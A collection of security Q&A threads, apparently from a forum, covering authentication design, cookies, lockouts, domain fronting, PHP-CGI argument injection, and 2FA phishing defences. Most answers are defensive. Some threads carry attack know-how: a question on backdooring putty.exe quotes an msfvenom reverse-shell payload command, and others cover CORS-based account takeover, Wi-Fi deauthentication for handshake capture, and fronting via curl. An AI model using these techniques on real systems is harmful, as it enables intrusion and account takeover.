On the client side you take a cryptographically secure hash of the users password. This becomes the users authentication password (so you store a hash of the hash on the server). This is fairly simple to implement. In theory it should be secure but passphrase re-use isn't advisable.
The user generates a private/public key pair from the user ID + passphrase (by using a key derivation function to generate the seed to a CSPRNG which is used to generate the private key). You would then generate an entirely random symmetric encryption key, encrypt this with the private key and send both the encrypted symmetric key and asymmetric public key to your server. The private key can be recovered with the passphrase. The application gets the encryption key by requesting the encrypted version from the server and decrypting it with the private key. The user authenticates by signing messages with the private key - and the server can verify them with the public key.


Which factor of authentication is an X.509 certificate Given 3 factors of authentication:

Type 1: something you know
Type 2: something you have
Type 3: something you are

Which factor of authentication would be an X.509 certificate, assuming this certificate is stored in the filesystem of the device I use? For example, let's place it in the context of TLS mutual authentication, where the aforementioned certificate is the client certificate. Please note this is not a question about a digital certificate stored on a separate hardware token or similar.
My understanding is that this is still a type 1, not type 2, because it does not relate to the physical posession of device other than the one client is using anyway. Is my understanding correct?

Within certificate based authentication the user has not only the certificate but also the secret key to this certificate, which matches the public key inside the certificate. Only the user itself should possess this secret key and this is verified within the certificate based authentication. This private key is not a secret shared with the server like in case of a password - it is something only possessed by the user. Therefore it is "something you have".
There can also more or less physical aspects be associated with this: the private key can actually be integrated inside a physical smart card or similar device. The cryptographic operations for the proof are only executed on this hardware which is also designed so that it can neither be copied nor the private key extracted. But even if the private key only resides on the clients computer or smartphone: it is expected that it is adequately protected against cloning, i.e. only stays on this specific device. So it is kind of physical too.


What does this attack string do? How do I mitigate it? Today I decided to run the apache-scalp script and it found a few issues. One was ranked as Impact 5, and I'd like to know if someone could explain what this does, and how to disable it?

The request was:

- - [25/Jun/2015:20:08:26 -0500] "GET /xc9/xbf/xe1/xf9/xa0/xbb/xd4./xf6/xe8%5D/x15K/xa3Tn/xe0;/xb4/xa2/xdd/xe4%+/x1e/x0e/%5Cxbfp%5Cxd7%5Cxd1%5Cxa2.%5Cxd0%5Cxb7%5C%5CA~%20%5Cx1a%5Cxec%5D8%5Cxd4%5Cx98%5Cxec HTTP/1.1" 400 471 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0"

From what I see, it returns a 400. This seems correct to me and I'm hoping this is just a false positive. But I just wanted to be sure.

I don't know what he is trying to do but returning 400 is fine. It stands for "Bad Request" so you server did not process the request further. You don't need to do anything as this request did just nothing.


"Remember me" cookies - did I implement them securely? I am currently working on a pet project website and I want to implement the "remember me" feature for logins and wanted to know if my procedure is secure. The authentication process basically goes something like this:

If a user want to be remembered and logs in successfully alongside his session cookie he gets a long-lasting remember-me cookie.
The cookie contains some random data(a UUID) and the user's id.
The UUID and a salted hash of the user's id get stored in a database.
When the user has to be reauthenticated from such a cookie, the user id from the cookie is checked against the hash from the database corresponding to that random data.
If they match, the user is logged in, the current id/hash pair is deleted from the database and the user gets a new one to give potential cookie thieves a narrower window. to act
Id/hash pairs older than 3 weeks get expired as well to further prevent cookie theft.

I would like some review of my method. Is this secure? If so, could it be implemented in any other, perhaps simpler, manner?

You're overcomplicating the solution, and not really gaining much out of it. Others have gone over the flaws with your implementation, but I'll outline a better approach.

When a user chooses to have their authentication remembered across browser sessions, use a CSPRNG to generate a random 128-bit string. Send them this string, then hash it (SHA-2/256 is fine), and store the hash alongside the user record. When the user revisits your site, hash the token they've provided and look up the corresponding user record with that token. When a user explicitly logs out, delete the cookie from the browser and delete the hash of the token from the database.

I'd probably reissue tokens every time a user authenticated with one (e.g., they should be valid for one use only). And store the expiry date alongside the hashed token to ensure its maximum lifespan server-side.


Can a malicious actor lock the real user out by deliberately trying incorrect passwords every X minutes? Some websites lock out a user after a series of incorrect password attempts for example for 15 minutes. If a malicious actor knows this, can they deliberately try logging in with incorrect passwords every 15 minutes to prevent the real person from logging in? Is this a real threat and if so how can websites protect against it?

Login brute-force protection can be enforced in three ways:

Temporary Lockout
Permanent Lockout
CAPTCHA

In my perspective, CAPTCHA is the most reasonable solution to avoid the risk of bruteforce as well as denial of service due to account lockout. You might have seen a CAPTCHA appearing on the login pages of Facebook and Gmail in case you enter wrong password more than three or four times. That's a decent way of restricting bots from bruteforcing and at the same time avoiding locking users out.

Permanent lockout is not a novel solution, and it adds a lot of operational overhead to customer support team if they have to manually unlock the account for the user. Temporary lockout on the other hand deter bruteforcing, but like the scenario you mentioned, it can lock out a genuine user.


How does Domain Fronting work in practice While reading about Domain Fronting (and Google and Amazon's decision to ban it), I came across this blog where the author has identified domains that allow fronting.

From the blog, doing something like

curl -s -H "Host: images-na.ssl-images-amazon.com" -H "Connection: close" "https://cdn.atlassian.com/images/I/01rgQ3jqo7L.css"

will allow us to access the said CSS file from the images-na.ssl-images-amazon.com domain even though all surveillance systems will show that we connected to cdn.atlassian.com system. I tried to change the Host to something else (say wikipedia) and Cloudfront gave a "Bad Request" error so presumably both the sub-domains have to be on the same domain. (cdn.atlassian.com is hosted on cloudfront from their dig records).

My Questions are:

If Amazon has already banned fronting why is it possible to successfully make the above request?
At a practical level, how can a malicious user leverage fronting for hosting a malware C&C service?
Are there any best practices using which an individual customer ensure his subdomain (say xyzabc.cloudfront.com) is not susceptible to fronting?

EDIT

Additional question:

Is domain fronting something that only CDNs have to worry about or can a poorly configured stand-alone web-server also be (ab)used as a front?

If Amazon has already banned fronting why is it possible to successfully make the above request?

Amazon hasn't banned domain fronting yet.

  At a practical level, how can a malicious user leverage fronting for hosting a malware C&C service?

Without domain-fronting, proxies can see the target host via SNI, and can choose to block the request to protect the user.

Domain-fronting works since it's faking the host in SNI. If the fake host is important enough, like google.com, the traffic won't be blocked.

  Can an individual customer ensure his subdomain (say xyzabc.cloudfront.com) is not susceptible to fronting?

Create another subdomain on the same host, and use cURL to check:

curl -s -H "Host: subdomain2.host.com" -H "Connection: close" "https://subdomain1.host.com/"


CAPTCHA or email confirmation? I have read that captcha isn't a perfect solution to protect a website where for example the user can create an account, since there are many people in different countries that practicallty read captchas for a living, so I am considering using email confirmation instead on my site.

But is that a better solution, or are there some vulnerabilities with that method too? Are there maybe other solutions I haven't come across?

Neither method is foolproof at blocking automated requests, but both have been effective for me in the past. Let me explain:

Automating a response to an email is fairly easy, and thus cannot be taken as assurance that the client is not a bot. Similarly, captcha is easily broken (not even using humans). For instance, the hacker group DC949 recently released stiltwalker, which can reliably bypass recaptcha and many other popular captcha services. As is often the rule in security, if someone is determined enough, they can break in.

However, email verification and recaptcha have had great impact for me in the past when fighting spam accounts/reviews. While it can be bypassed, many spammers don't know how and/or don't bother. So, while it is not "secure", it is still effective.

P.S. Another technique I have heard about is using javascript to gauge the amount of time the user spent on the webpage before submitting. Most bots will submit things almost instantly (if they even run the javascript at all), so checking that a second or 2 has elapsed since the page rendered can block a lot of spam as well.


How long should a JWT be valid in a PCI-DSS compliant service? Is there any maximum value enforced or recommended by PCI-DSS for the expiration of the access and refresh JWT?

If not enforced, what is an appropriate value to avoid problems during audits?

Overall the JWT is used on a web login to access pages, so unless you have done something crazy like allowing cmd shell access (can we say major treat), you have 100% control over the time, it is your users and clients login and PCI does not really say much about it.

Really it is just another cookie, so what are your polices for cookie expire?

Now you enter the realm of best pratices....

Is this JWT being used by an administrator of the system where they can access CHD; e.g. PAN?  If so, you should consider MFA, and I would treat it on a 1 by 1 access with 5 minute timeout.

If this JWT is for your clients/CSRs that is a business decision.  I personally would max set the timeout to 15-60 minutes of no activity and refresh it only if they submit a page.  You could get fancy and ask them to renew, but that is up to you and your security policies.  This way it does not expire if they are doing work, but if they step out for lunch, then it closes down the session.

I have seen values as large as 10 hours (to cover a work day for CSRs), and as little as 5 mintues to cover very specific use cases; e.g. CHD access for refund processing.

Regardless of what time you choose, edit your policies to back it up. Because it is a business decision, you want to have documentation that says what the value is from a business CYA position.


What is a "cuckoo's egg"? I remember that Clifford Stoll wrote a book called "The Cuckoo's Egg".

In the book, the reader follows him as he pursues a hacker through networks across the world.  I seem to recall that the title phrase actually has some meaning with regards to his or the hacker's actions.  However, I can't remember exactly what it means.

What is the meaning of "Cuckoo's Egg" in the context of IT Security?  Is it a term in common use, or was it more likely something created out of artistic license?  Google hasn't been any help to me.

The term has two meanings.

In it's original meaning in the book, it is a malware program that an attacker uses to replace a legitimate program - like a cuckoo laying it's eggs in another bird's nest .
More specifically, it was a replacement for atrun, which is executed every 5 minutes - meaning the attacker had to wait at most 5 minutes before his malicious code was executed. Stoll refers to this as the "hatching" of the cuckoo's egg.

From pg 123 of "The Cuckoo's Egg":

  I watched the cuckoo lay its egg: once again, he manipulated the files in my computer
  to make himself super-user. His same old trick: use the Gnu-Emacs move-mail to
  substitute his tainted program for the system's atrun file. Five minutes later,
  shazam! He was system manager.

The other meaning of the term is a music file that has a contents other than it's title suggests, put on file-sharing networks in an effort to combat piracy. See the footnote in the Wikipedia article about Stoll's book.

In both meanings, it is a file whose contents is different from what is expected.


No-name Android app that can't be uninstalled Yesterday, I downloaded an apk outside the playstore and like a newbie (shame on me), I didn't check if it was secure or not. It was't working anyway, so I just removed the app.
But now, I have this weird no-name application on my phone, and I can't delete it. And it opens everytime I check my messages or emails. It has a full network acces and a view on network connections. I think it's a spy...?

I don't know what to do and how remove it. And the thing I don't get is: how can you code an app which can't be deleted?
Do you have any ideas?

When in doubt, treat as compromised until proven different.

Steps you should take right now are:

Disable all permissions of that App under Settings -> App-Permissions (or similar)
Remove the App from the list of Device Administration Applications.
Change all passwords, treat each account as compromised. (Especially email)
Back up as much of your personal data as possible, possibly prepare for a reflash.
Disable all network connections on your phone, maybe even shut it down. I'm very sorry to be devils advocate, but this is best practice in security. Sadly, your phone is the center of your digital identity.


WPA2 Enterprise: no risks for preconfigured clients when it comes to Rogue APs? We are using, as default, PEAP and MS-CHAPv2 as inner authentication.

I was concerned with security risks when it comes to rogue APs but a colleague told me that there are no risks for preconfigured clients.

He told me there are risks only for clients with WiFi not preconfigured, because most users would trust a fake certificate.
Instead, for preconfigured clients, all supplicants would drop or reject the connection and the user wouldn't be allowed to trust a fake certificate. But why's that? Maybe because the supplicants check if there is already a certificate installed for that SSID?

Also, supplicants have always have been this safe regarding this matter? Or patches have been applied during time?
If the latter is the case, how would I know when the patches have been applied and in which OS versions?
It would be helpful because, for instance, I could suggest for Apple mobile devices to use only from iOS 7 and above (I just took a guess, I don't know if it's the correct version).

In theory PEAP exchanges only happen over a tunnel established by a certificate trusted by the CA.

Client behaviour when presented with an untrusted certificate is down to individual UX implementation. My android 8.1 phone will prompt me to accept a certificate which is not trusted, my MacOS Sierra machine will just go ahead and connect.

Although widely used; MsChapsv2 is not a secure inner tunnel authentication mechanism! It can be directly computed with 100% success rate in a couple of hours on an FPGA or for only a few hundred dollars of cloud compute.


How to find out the IP address of email sender in Gmail Gmail doesn't give the IP address of the sender in its mail headers for security reasons.  I'd like to know whether there is some other way of getting the IP address of the sender.

Since Gmail specifies the IP address of its email relay server, which the sender first contacts, is there any way of querying the relay server to get the IP address of the sender by specifying the unique Message-ID of that email? If so, please explain how is it done. And if not, is there any other method of getting the IP address?

There is no technical way to get the ip-address of someone sending an email via the gmail web interface. Google does not put it into the email headers. And there is no API to query gmail for it.

If you really need that IP address for valid reasons, you need to get a court order.


Stuck in a tricky situation, not able to exploit misconfigured CORS I found that this application has not properly configured CORS, an attacker can send requests from any origin and allow credentials header is also true.

The idea was to extract CSRF token and then change email/phone to takeover the account and then report this to the company, but the problem is I can't find CSRF token in source code, it not there. It's being sent to requests when I saw in burp history but I can't find in source code. My assumption is CSRF is being generated dynamically by JS and then sent to the server but how would server identify this as a valid token as it was dynamically generated at client side via JS Or am simply making wrong assumption, what you think?

Secondly, is there any other way to exploit CORS and show impact to the company?

According to what you've said in the above comments, I am fairly certain token is being sent in an HTTP RESPONSE header. Either it will be its own CSRF header, or within a Set-Cookie header. This is common practice.

When you pull the webpage you are getting the source code and not finding the token, but you need to check all the HTTP headers on that request to get the token.

It is very unlikely that the token is being generated by client-side javascript. So it has got to be in the HTTP headers.

EDIT: Of course it is also possible that the token will not be sent at all if the request is from an untrusted origin. This would effectively mitigate your attack.


Is Trillian application unsafe? (Got "Someone has your password" message from Google) Trying to connect to GoogleTalk from the Trillian app for Android (a universal instant messenger app), I got denied even with the correct password. Then Google e-mailed me saying that my password is compromised and that an access to my account was blocked from IP 74.201.35.40 (somewhere in the USA).

Does it mean the Trillian application is spoiled (trying to steal my Google account), or is it just poorly programmed so that it's their server that connects to Google rather than me? Or something else? Should I stop using the app?

Your case is documented in the Trillian Security Practices. The mobile device version of the software will store your Google password encrypted on the company servers of the Trillian developers. This allows them to keep your GoogleTalk session alive, even if your mobile device has bad connectivity. It also allows you to use the web version of the Trillian application.

If you reset your Trillian password, then all your stored third-party credentials are lost, since they are encrypted with the lost password. This underlines their claim that third-party passwords are stored encrypted.

Given this setup, it is really the case that the Trillian company server connects to Google with your decrypted clear-text password. Google detects the company server as origin and blocks it if your other devices are far away from the U.S. (see comment by @cremefraiche).

To make GTalk work in Trillian on mobile devices, go to your Google Security Dashboard and mark the server as trustworthy for Google logins.

If you don't like this approach at all, stop using Trillian in the mobile and web version. Delete your Trillian account and change all passwords you ever entered into their application.


What methods can I use to prevent a public API's limit bypass? So let's say that after 50 requests in a period of 30 seconds, a user's IP gets blacklisted. They can still bypass this block by changing their IP, which is quite easy and fast nowadays.

So, what other methods could I use to prevent my public API's limit to get bypassed? There is no user auth at all.
My API involves no browser usage, just a terminal so I don't know if using cookies or something like that is even an option.

Thanks for your help!

Data scraping is now a global industry. Some of these businesses (ie, Mozenda)  have 10k+ IP addresses they cycle thru for the same api pull. So what may look like different users to you may in fact be 1 user sucking your data dry by  making a copy.

Blocking a single  IP address  only  targets  small users. And  browsers  can be emulated very easily using headless browsers.

The question is why wouldn't you add  user authentication? Its easy to add and ensures you know who is using your data. And you can also set limits that way. Or you can  charge the user a fair price which would mean they dont have to scrape your data. OR better yet sell them full access to your data annualized. Hope this helps.

Jim


Effect of Firefox's "Responsive Design Mode" on the browser's fingerprint Today I switched ON the "Responsive Design Mode" under the "Web Developer" Section of the Firefox menu, and from the dropdown menu selected "iPhone X/XS iOS 12".
So now every webpage I visited was being sent the request that the screen size of my device was "375x812".
My question is that, can this method enhance my protection against browser fingerprinting(assuming I also take some other precautions)? Because the websites now wouldn't be able to know my original aspect ratio/screen resolution, and above 2 iPhones are quite common too(I am using a laptop).
I earlier tried to scale the Firefox window to nearly the aspect ratio of a mobile phone, but that didn't make any differnce at all.
Note:
(i) In the context of this question my adversaries are only the companies and their websites,and not the Governments & ISPs.
(ii) I am just asking about the effect of this method on my browser's fingerprint, that is, whether it will increase or decrease the uniqueness of my fingerprint. Be advised: I am not using this as the only method.
(iii) Firefox version: 78.0.2
(iv) OS: some linux distro.

There is no single fingerprinting method. But assuming that the fingerprinting you fear tries to be as granular as possible it will not only include easily fakeable things like User-Agent header but will also include things like font rendering, canvas performance etc - see here for some extensive but still incomplete and somewhat outdated list of ways to identify a client.
In this case a system with the performance of a desktop, Linux specific font rendering but a reported screen size of an iPhone will likely stand out as even more unique than if the browser would have reported the real screen size.


Untouchable local server We have a software that needs a connection to our servers for license management purposes. Now we have a new customer who wants to use our software on systems that don't have access to internet. So I was thinking about setting up a local server in their private network. Is it a good way? What are the flaws of this approach?
Is it possible that they copy our server data and use it somewhere else? In other words can they clone our server? If they can what's the solution?
Can I in some way use a TPM to prevent cloning?

Is it possible that they copy our server data and use it somewhere
  else? In other words can they clone our server?

Using Thunderbolt for example ?

They will have physical access to it so everything is possible.
The question is: how much do you trust the client ? If you trust them enough you could work out another arrangement, for example deliver software that will work offline but with restrictions based on local conditions, for example a fingerprint of their local machine.

Even if there are time-based limitations you should be able to work out something.

There are things you can do like encrypt the hard drive, so it can't easily be mounted on another machine for examination. Disable all USB ports, Thunderbolt etc. But fully securing a system you can't even monitor is difficult.

How will your server validate licenses ? If you put a server connected to the Internet, and that server has connections with the client's computer, then you are indirectly exposing their machine to the Internet, which is something they probably want to avoid.

Personally I would not be comfortable at all with a black box on my network.

The client can be burglarized too. The computer could be stolen by third parties and expose your trade secrets. So think hard about what you are going to put on that machine and what would be the impact of a worst-case scenario.

I think the best option is to deliver a tailored version of your software but you can charge the client for that, because this is a software customization.

Perhaps you could ship a USB dongle or something. A tiny Tomu for example if cheap and versatile. Conceivably, the physical token could be replaced every year. Just ship it by post.


Can query string command line exploits in older CGI implementations of PHP be protected against without updating PHP versions? We recently received this from a security audit:

  PHP is a general purpose scripting language that can be embedded into HTML. A vulnerability exists in PHP versions prior to 5.3.12 and 5.4.2 due to improper parsing of query string parameters when configured with a CGI-based setup (e.g., Apache's mod_cgid). Processed query string parameters supplied to an arbitrary PHP file are improperly parsed as command line arguments. Remote attackers could leverage this issue to pass command-line switches (e.g., -s, -c, -n, -f, -r, -B, -R, -F, -E, -t, etc.) to the php-cgi binary and disclose potentially sensitive source code information or execute arbitrary code on vulnerable systems with the privileges of the web server. Successful exploitation requires that the HTTP server complies with section 4.4 (The Script Command Line) of The Common Gateway Interface (CGI) Request for Comments (RFC 3875).

We have multiple PHP environments, all running as CGI/Fast CGI under IIS.  Updating all the PHP versions is of course the ideal long-term solution.  However, that will take some time, testing, and planning.  Some of the servers are managed by external hosts we contract with, which will further complicate version upgrades.

How can I check specific environments for this vulnerability?  Is there a way to prevent remote attackers from exploiting this without a full version upgrade?

PHP released a bulletin here:

  The PHP development team would like to announce the immediate
  availability of PHP 5.4.2. This release delivers a security fix.

  There is a vulnerability in certain CGI-based setups that has gone
  unnoticed for at least 8 years. Section 7 of the CGI spec states:

  Some systems support a method for supplying a array of strings to the
  CGI script. This is only used in the case of an `indexed' query. This
  is identified by a "GET" or "HEAD" HTTP request with a URL search
  string not containing any unencoded "=" characters. So requests that
  do not have a "=" in the query string are treated differently from
  those who do in some CGI implementations. For PHP this means that a
  request containing ?-s may dump the PHP source code for the page, but
  a request that has ?-s&a=1 is fine.

  A large number of sites run PHP as either an Apache module through
  mod_php or using php-fpm under nginx. Neither of these setups are
  vulnerable to this. Straight shebang-style CGI also does not appear to
  be vulnerable.

  If you are using Apache mod_cgi to run PHP you may be vulnerable. To
  see if you are just add ?-s to the end of any of your URLs. If you see
  your source code, you are vulnerable. If your site renders normally,
  you are not.
  To fix this update to PHP 5.3.12 or PHP 5.4.2. We recognize that since
  this is a rather outdated way to run PHP it may not be feasible to
  upgrade these sites to a modern version of PHP, so an alternative is
  to configure your web server to not let these types of requests with
  query strings starting with a "-" and not containing a "=" through.
  Adding a rule like this should not break any sites. For Apache using
  mod_rewrite it would look like this:

RewriteCond %{QUERY_STRING} ^(%2d|-)[^=]+$ [NC]
RewriteRule ^(.*) $1? [L]

  If you are writing your own rule, be sure to take the urlencoded ?%2ds
  version into account.

Note that this is specifically for mod_cgi on Apache.

To make sure that you aren't vulnerable, test if the method described above is also applicable for your IIS servers. If so then you need to make sure that for each IIS server you need to enable url-rewrite and make sure you mimic the same behavior as written above.

The longterm solution isn't patching your software, your long term goal should be adequate patch management and a better control of your software development lifecycle. Patches like these should be able to be rolled out in less than two weeks (this is the goal).

You should also take care that you keep track of vulnerabilities yourself, the fact that the audit team has to remind you about critical vulnerabilities shows that your vulnerability management is lacking as well.


how to get address of PE section to jump in while backdooring PE binary I am trying to follow this tutorial to backdoor a simple 32bits PE binary (putty.exe).

The method used is to create a new section (named .test) containing some shellcode, changing the first CALL instruction to JMP on it, executing it, and JMPing back to the original address the first CALL instruction contained before change for JMP.

First part is adding new section, and I am OK with it (done with LordPE). Here are its caracteristics:

Name    VOffset    VSize     ROffset   RSize    Flags
.test   00110000   00001000  00106E00  00001000 E0000060

In immunity, I have loaded putty.exe. Memory view shows me that .test section is getting mapped at address 00510000

Here are the first instructions being launched:

7D4D1512 PUSH EAX
0046F346 CALL putty. <--- I changed this for JMP putty.00510000
0046F34B JMP putty.

Debug mode JMP indeed to 00510000 ! So I copy/paste the payload at this place and debug again: payload created via:

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f hex

I save the binary an re-launch immunity to debug it:

7D4D1512 PUSH EAX
0046F346 JMP putty.00510000

But JMP occurs now at the very end of the shellcode ! At 0051008E !

Feeling the beginning of the section with NOP does not change the behavior (always at the end of the shellcode).

How is it possible to force the execution flow to the beginning of my shellcode instead ? As no one seems to have encountered this trouble, I suppose I missed some basics.

The document explains how the address is getting calculating like this:

Next step is to hijack the first instruction by jumping to our new section,
for that we need the RVA for both the .test section, first CALL instruction
and address of the next instruction.

001C9DE6 > $ E8 15770000 CALL PsExec_b.001D1500
001C9DEB .^E9 7BFEFFFF JMP PsExec_b.001C9C6B

RVA of 001D1500 is RVA_11500. RVA of 001C9DEB is RVA_9DEB, RVA of .test is RVA_7D0000.

I have no idea how he gets from 001D1500 to 11500 and what is the 1C0000 gap between these two values.

Many thanks for you help understanding this point;

There are three addressing concepts you need here. RVAs, VAs, and offsets.

Relative virtual addresses (RVAs) are addresses into virtual memory. They are configured via the PE's header. If you look at a PE file's section table, you might see something like this:

In this table you can see that the .text section starts at a raw address (offset) of 00000400 and has a size of 00002200. Its virtual address (VA) is 00001000.

Next, if you look into the optional header (PE header) you'll find an entry called ImageBase:

This sets the base RVA for the executable. You add this to a VA to get the RVA.

Let's run through an example: translating an offset of 0x2740 to an RVA. First we walk the section table to find which section that offset is in. We can see that .text starts at 0x400 and is 0x2200 bytes long, meaning it ends at 0x25FF. Next there's .rdata, which starts at 0x2600 and is 0xA00 bytes long. Our address sits within this section! So we subtract the raw address of the section (the base of the section) from our offset of 0x2740, to give us the raw offset into that section. That gives us 0x140. Next, we add this to the base virtual address of the section, which is 0x4000, to give us 0x4140.This is our virtual address (VA). Then we add the process image base, 0x00400000, to that to get us our RVA: 0x00404140.

My guess is that if you look at your target process, you'll find that the 1C0000 "gap" between the values you're looking at come from the ImageBase value and the difference between the virtual and raw addresses in the .text section.


Airodump-ng doesn't capture handshake or sees any devices connected on Kali, but captures everything on Backtrack. How to fix it? I ran into a problem in using kali linux system.

Kali doesn't allow me to see any devices connected to certain spot or capture any handshakes, I know that it can capture them(and see connected devices) because I tried to use 'airodump' command on Backtrack and it all worked fine. However Backtrack is old and it doesn't get updated anymore, so I have to use Kali Linux.

Did anyone run into the same problem, and found solution for it? I am open to any suggestions.

I guess if I will be able to see devices connected, then I will be able to capture handshakes, and so on.

Background: My network adapter chipset is: Atheros AR242x/AR542x. I DO NOT RUN VM, I have Kali Linux installed natively on my computer.

Maybe no one is connected to the wifi spot right now.
(If you do see someone you can "deauth" him in order to get a handshake).
Try on your wifi and check if you do see anyone who is connected while you know someone really is.
Also maybe you're to faraway from the hotspot/this hotspot is on a crowded channel (there are many wifi's on the same channel nearby).


iPad infected with virus (popup - admobinew.com) This morning I was reading some news on some websites (I think one of them was haaretz.com) using my iPad (ios 9.0.1), I clicked on a news and I was redirected to some dodgy website and I started getting all kind of popups. I killed the tabs but I keep getting these popups and auto-opened tabs on all the browsers (even facebook app)

How can I remove these? How dangerous do you think they are? At the moment it looks like it's a form of malicious advertising for all kinds of things.

EDIT: Cleared both history and website data, rebooted iPad, visited only bbc and the pop-ups are still appearing

Examples:

At the moment it looks like it's a form of malicious advertising for all kinds of things.

Yes, more than likely these are on the sites themselves and not on your iPad. Close all browser tabs and try browsing sites without popup advertising. E.g. google.com and bbc.co.uk (no adverts when accessed from UK however I believe they carry non-intrusive ads for foreign visitors). If these warnings don't popup on known "safe from bad ad" sites then it is more than likely scareware ran by advertisers on the sites you visit.

If the popups are still happening then it could be your local network or ISP. Try against a trusted HTTPS site and also from a different Wifi network.


Reading SD cards on a GPO blocked USB Our company has a GPO which blocks USB mass storage devices. The GPO permits Media Transfer Protocol (MTP) connections. Some SD card-based camera devices don't support MTP so they are blocked as they identify as a mass storage device. I can remove the SD card, but is there an SD card reader available that can use MTP?

I am unaware of an MTP SD Card reader, and cannot find anything listing the USB reader having this support. So, instead, I would suggest using an Android device, which has micro SD card support, as Android supports MTP. USB mass storage instead of MTP outlines doing the opposite of what you want but gives an idea of how you can use Android 5.0 to mount a micro SD card in MTP mode.


Does multiple numbers per button have an effect on security? I recently came across an electronic deadbolt like this:

The keys have multiple numbers per button, 1|2, 3|4, 5|6, 7|8, 9|0

Is there any way that this increases the security of the electronic lock? It seems like having two numbers per button dramatically reduces your possible entropy, since you now have 5 bits instead of 10 bits, right?

Is this just a matter aesthetics/cost-cutting over security?

Think about the technical implementation, not about the user or what's painted on the buttons: it's a keypad with 5 buttons. In order to unlock the device, it needs a sequence of those 5 buttons (however many presses of those 5 button it allows).

More buttons would make it harder to brute-force the combination. Imagine having only 2 buttons, or imagine having 20. More buttons would mean more possible combinations, more combinations means harder to bruteforce.

I can imagine one way where having fewer buttons might increase security: smudges. If you had 20 buttons, over time, the few buttons you used would appear to be used, thereby reducing the number of possible buttons to try, including being able to deuce the number string ("123456") that the user needed to remember. Fewer buttons (with multiple numbers per button) means that smudges are less meaningful (they are all smudged), and a reduced possibility of deducing what the memorized number sequence was. But, this is only one aspect of security, and one I might not value too highly on a residential house lock.


What should happen when an account is unlocked? After a user's account is locked, and an admin goes to unlock it, should the user be required to reset their password?  Or should they just be able to login without changing their password?

Best practice is to, first, verify that the person requesting the unlock is the owner of the account. This can be tricky as it's the source of many social engineering attacks (these days it's quite simple to find personal identifying information for a target). If this is for an internal corporate user then often I've seen things like Employee Number used (this is decent because it's not something that an attacker would typically have), but also I'd recommend using another factor, e.g. calling the user's cell phone or emailing a secondary account for verification.

Once the user is verified then the administrator should request more information about the lock: did they cause the issue, or was it caused by an attack? If caused by an attacker then escalate the issue to the Information Security team, who should work on gathering additional information about the attack and take steps to prevent future attacks.


What's wrong with using AES directly/"raw"? When developing applications that require crypto routines, I know to use libraries like keyczar and libsodium rather than "raw" crypto routines myself.

However, for the specific case of using AES-CBC symmetric encryption of a block of text, I'm wondering what the pitfalls are that I may unwittingly run into.

(For a concrete example, the prudence of using a library such as this one - which I've been reading over - is what I've been curious about: http://www.aescrypt.com/sharp_aes_crypt.html.)

The cipher function is just a building-block for encryption. It's an important one, no doubt, but it's just one single component that can be used both securely and insecurely. If you write the the crypto framework yourself and plug in ciphers, etc. where you think they go, you run a very real risk of doing something wrong.

For example:

What's your cipher key? Are you using a key derivation function or just naively hashing your password?
Initialization vector? Where does it come from and what do you do with it?
Block chaining mode, which do you pick and why did you pick it? Did you say "CBC because everyone else uses it"? Does your block chaining mode affect your initialization vector choice?
Message authentication; are you testing to ensure that the message hasn't been tampered with? Where do you put that authentication code?
Flexibility: do you allow parameters such as cipher specification or chaining mode to be specified at run-time? (How) do you indicate your decision in your output?
...and dozens of other issues that don't spring immediately to mind.

There are lots of decisions to be made, and a huge number of ways to get it wrong. Typically there's an easy-but-horrifyingly-wrong answer to every question which you may stumble into using simply by not knowing that you had to make a decision.

Frameworks (hopefully) answer a lot of these questions for you, and (hopefully) do so in a way that is community-vetted and largely secure. Not all frameworks do things right, and many may punt the question back to you.

But (and here's the important point) if you go it alone and build your own framework, there's an overwhelmingly high probability that you'll come up with the wrong answer for some decision.

If you use a trusted, vetted, well-written framework, you up your odds a bit.


Attacker circumventing 2FA. How to defend? Detailed in the latest NSA dump is a method allegedly used by Russian intelligence to circumvent 2FA. (In this instance Google 2FA with the second factor being a code.)

It’s a fairly obvious scheme and one that I’m sure must be used regularly.
It appears to work like this:

URL is sent to target via spear phishing, the URL points to attacker
controlled phishing website that resembles Google Gmail.
User send credentials to the phony Gmail.
(Assumption) Attacker enters credentials into legitimate Gmail, and checks if a second factor is required.
Target receives legitimate second factor.
Phony Gmail site prompts target for second factor. Target sends second factor.
Attacker enters second factor into legitimate site and successfully authenticates.

The only way I can see to defend against this attack is by spotting the phony site as being a scam or blocking the phishing site via FW’s, threat intel etc.

Is there any other practical way to defend against such a scheme?

Not all two-factor authentication schemes are the same.  Some forms of 2FA, such as sending you a text message, are not secure against this attack.  Other forms of 2FA, such as FIDO U2F, are secure against this attack -- they have been deliberately designed with this kind of attack in mind.

FIDO U2F provides two defenses against the man-in-the-middle attack:

Registration - The user registers their U2F device with a particular website ("origin"), such as google.com.  Then the U2F device will only respond to authentication requests from a registered origin; if the user is tricked into visiting goog1e.com (a phishing site), then the U2F won't respond to the request, since it can see that it is coming from a site that it hasn't been previously registered with.
Channel ID and origin binding - U2F uses the TLS Channel ID extension to prevent man-in-the-middle attacks and enable the U2F device to verify that it is talking to the same web site that the user is visiting in their web browser.  Also, the U2F device knows what origin it thinks it is talking to, and its signed authentication response includes a signature over the origin it thinks it is talking to.  This is checked by the server.  So, if the user is on goog1e.com and that page requests a U2F authentication, the response from the U2F device indicates that its response is only good for communication with goog1e.com -- if the the attacker tries to relay this response to google.com, Google can notice that something has gone wrong, as the wrong domain name is present in the signed data.

Both of these features involve integration between the U2F two-factor authentication device and the user's browser.  This integration allows the device to know what domain name (origin) the browser is visiting, and that allows the device to detect or prevent phishing and man-in-the-middle attacks.

Further reading on this mechanism:

An excerpt from the FIDO U2F spec, regarding defenses against MITM attacks.
Yubico's explanation of the protocol flows.


Does my routers self-signed certificate ever change? I have no idea how this works but if I install my routers self-signed certificate for log-in through HTTPS (ex : https:// 192.168.1.1) and then reset the router to factory default, will the certificate I installed previously still be valid?

This depends on your router. The certificate might be pre-generated in the factory in which case it will not change with a factory reset. But more likely is that the certificate will be generated on first startup in which case it will change after a factory reset. There is also the possibility that the factory reset is not a full reset and will preserve settings like the certificate. Or given the grasp on security several vendors have it might also be that the certificate is generated not based on real random data but on the MAC address of the device or similar constant data.


GRE DDOS -- Wouldn't the firewall block it? So I've been reading up on Mirai. And I found out that it implements a rather unique attack, described here, where it floods the victim with GRE packets. GRE is IP protocol number 47.

